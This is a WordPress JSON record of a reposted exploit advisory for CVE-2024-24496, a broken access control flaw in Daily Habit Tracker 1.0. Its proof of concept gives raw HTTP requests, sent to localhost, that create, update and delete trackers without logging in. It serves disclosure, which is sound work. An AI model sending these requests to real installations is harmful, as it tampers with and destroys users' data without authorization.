{"id":55800,"date":"2024-04-03T01:11:08","date_gmt":"2024-04-02T21:11:08","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177877\/dht10-access.txt"},"modified":"2024-04-03T01:11:08","modified_gmt":"2024-04-02T21:11:08","slug":"daily-habit-tracker-1-0-broken-access-control","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/daily-habit-tracker-1-0-broken-access-control\/","title":{"rendered":"Daily Habit Tracker 1.0 Broken Access Control"},"content":{"rendered":"<p># Exploit Title: Daily Habit Tracker 1.0 &#8211; Broken Access Control<br \/># Date: 2 Feb 2024<br \/># Exploit Author: Yevhenii Butenko<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com<br \/># Software Link: https:\/\/www.sourcecodester.com\/php\/17118\/daily-habit-tracker-using-php-and-mysql-source-code.html<br \/># Version: 1.0<br \/># Tested on: Debian<br \/># CVE : CVE-2024-24496<\/p>\n<p>### Broken Access Control:<\/p>\n<p>&gt; Broken Access Control is a security vulnerability arising when a web application inadequately restricts user access to specific resources and functions. It involves ensuring users are authorized only for the resources and functionalities intended for them.<\/p>\n<p>### Affected Components:<\/p>\n<p>&gt; home.php, add-tracker.php, delete-tracker.php, update-tracker.php<\/p>\n<p>### Description:<\/p>\n<p>&gt; Broken access control enables unauthenticated attackers to access the home page and to create, update, or delete trackers without providing credentials.<\/p>\n<p>## Proof of Concept:<\/p>\n<p>### Unauthenticated Access to Home page<\/p>\n<p>&gt; To bypass authentication, navigate to &#8216;http:\/\/yourwebsitehere.com\/home.php&#8217;. The application does not verify whether the user is authenticated or authorized to access this page.<\/p>\n<p>### Create Tracker as Unauthenticated User<\/p>\n<p>To create a tracker, use the following request:<\/p>\n<p>&#8220;`<br \/>POST \/habit-tracker\/endpoint\/add-tracker.php HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 108<br \/>Origin: http:\/\/localhost<br \/>DNT: 1<br \/>Connection: close<br \/>Referer: http:\/\/localhost\/habit-tracker\/home.php<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<\/p>\n<p>date=1443-01-02&amp;day=Monday&amp;exercise=Yes&amp;pray=Yes&amp;read_book=Yes&amp;vitamins=Yes&amp;laundry=Yes&amp;alcohol=Yes&amp;meat=Yes<br \/>&#8220;`<\/p>\n<p>### Update Tracker as Unauthenticated User<\/p>\n<p>To update a tracker, use the following request:<\/p>\n<p>&#8220;`<br \/>POST \/habit-tracker\/endpoint\/update-tracker.php HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 121<br \/>Origin: http:\/\/localhost<br \/>DNT: 1<br \/>Connection: close<br \/>Referer: http:\/\/localhost\/habit-tracker\/home.php<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<\/p>\n<p>tbl_tracker_id=5&amp;date=1443-01-02&amp;day=Monday&amp;exercise=No&amp;pray=Yes&amp;read_book=No&amp;vitamins=Yes&amp;laundry=No&amp;alcohol=No&amp;meat=Yes<br \/>&#8220;`<\/p>\n<p>### Delete Tracker as Unauthenticated User:<\/p>\n<p>To delete a tracker, use the following request:<\/p>\n<p>&#8220;`<br \/>GET \/habit-tracker\/endpoint\/delete-tracker.php?tracker=5 HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>DNT: 1<br \/>Connection: close<br \/>Referer: http:\/\/localhost\/habit-tracker\/home.php<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<br \/>&#8220;`<\/p>\n<p>## Recommendations<\/p>\n<p>When using this tracking system, it is essential to update the application code to ensure that proper access controls are in place.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Daily Habit Tracker 1.0 &#8211; Broken Access Control# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https:\/\/www.sourcecodester.com# Software Link: https:\/\/www.sourcecodester.com\/php\/17118\/daily-habit-tracker-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24496 ### Broken Access Control: &gt; Broken Access Control is a security vulnerability arising when a web application inadequately restricts user access to &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55800","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55800","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55800"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55800\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55800"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55800"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55800"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}